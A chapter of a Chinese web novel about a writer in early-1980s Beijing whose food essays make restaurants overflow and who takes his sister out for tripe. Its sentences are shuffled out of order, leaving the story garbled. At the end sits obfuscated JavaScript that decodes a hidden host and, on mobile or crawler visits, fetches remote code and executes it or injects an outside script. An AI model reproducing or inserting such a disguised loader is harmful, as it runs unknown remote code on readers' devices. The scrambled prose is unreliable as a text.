第152章先天美食圣体
“方老师,有您的信件1
小胡推着二八大杠,站在老槐树下。
不一会儿,方言从院里走出来,看到他一身墨绿色的邮递员制服,露出微笑道:
“胡师傅退休了?”
“嗯,年后我顶的班。”
小胡语气里透着感激,“这都多亏了方老师,看完您的小说,我才能想通,谢谢您1
“你自己能想通就好。”
方言接过了他递来的一摞信。
小胡眼里充满期待,“等《那山那人那狗》出了单行本,我一定买两本给我和我爸,到时候您能不能给我们签个名?”
“当然没问题。”
方言笑而不语,静静看着。
方燕眼巴巴望着,“小雅姐说我现在的成绩,考上117中没问题,只要再进步一丢丢,冲刺到2中不是梦!我现在每天都很认真复习,特别需要好吃的来补充营养,补补脑子1
结果没料到,跟自己抱着同样想法的不再少数,四九城的饭庄,基本上人满为患。
小妹这些天的努力,方言看在眼里。
“你竟然一個人吃了这么多好吃的1
方燕委屈巴巴,“怎么也不带我一个?”
水平跟《舌尖上的中国》差不多就好。
方燕拿着《燕京文学》,一路狂奔,跑到哥哥的面前,“你瞒我,瞒得好苦埃”
一下子,燕京就出现了类似“淄博烧烤”的火爆场面,全聚德这些老字号就不必说了。
方言万万没想到,在80年代初,还可以当一个美食探店“博主”?真的是盖了帽儿了!
这种爆满的场景,已经不是一天两天。
那就是方老师!
对他的敬称,除了“方老师”以外,还有“美食家”、“大吃家”、“美食品鉴家”……
虽然称呼大不一样,但目的基本相同,请他到当地吃饭,车马、住宿费这些统统全包。
方言轻轻地弹了下她的额头。
“哥,你最好了1
信的内容,简直是五花八门。
方言答应下来,然后和他挥手道别。
“我吃是为了创作,寻找灵感,你以为谁都跟你这个小馋猫似的,整天都惦记着吃。”
“哥!哥1
方言放下信封。
自己这算不算是美食探店的至圣先师?
两人趁着休息日,中午出去搓一顿。
“别贫嘴了,可以带伱去吃好吃的。”
自从《舌尖上的中国》发表之后,不只是《文艺报》、《文学报》等报纸加以评论,燕京各区的馆办报纸更是推出了关于美食的专栏。
西城的《蒲公英》、东城的《钟鼓楼》,朝阳的《芳草地》,海淀的《枫叶》,彼此非常默契,只转载《舌尖上的中国》里提及它们这一带美食的散文,同时补充了文章里没有的。
…………
只有一个小小的条件,就是给他们本地的美食,或者就餐的餐馆,写一个美食散文。
方燕眼里冒出“bulingbuling”的光。
回到屋里,一封一封地拆开看。
有的是因为各种原因而留在异乡的知青,在看完《舌尖上的中国》之后,没有流口水,而是流眼泪,故乡的味道已经很多年没尝到。
就在浮想联翩的时候,屋外传来声音:
好在理发的时候,从靖大爷那里知道,他有个老主顾开了家地道的牛肚店。
“瞒你什么了?”
方燕抱住他的手臂,“哥,你能不能带我去吃顿好吃的?”边摇晃,边撒娇,“求你了,哥,《舌尖上的中国》,看得快把我馋死了。”
然而他本人此时正在四处找馆子,常去的都满座了,简直是“作茧自缚”。
家乡的美食,其实就是一种乡愁。
也有的,是全国各地国营饭店的邀请函。
有的质问自己,明明叫《舌尖上的中国》,为什么文章里没有自己家乡的美食。
就连八大楼里几个刚刚复业的餐馆,也是一个空位也没有,所有人无不感激一个人。
不过可惜,没有看到“食神”的称呼。
苍蝇馆子,由刘大爷一家经营着。
因为念及跟靖大爷的交情,直接在后厨搞了个vip座位,方言跟着靖大爷沾过几回光,也就慢慢跟刘大爷熟络起来。
“方老师!1
“您这生意瞧着红火埃”
“托您的福,托您的福。”
刘大爷说多亏了《舌尖上的中国》提到他们“爆肚刘”,现在生意好得不能再好了。
方言问:“那还有座儿嘛?”
“换别人没有,您和老靖就有1
刘大爷把他们引向后厨的专座。
穿过过道,就听到一桌的食客聊了起来。
“爆肚儿分为葱爆、油爆、汤爆三种。”
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{
c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){
var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");
while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery';
if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};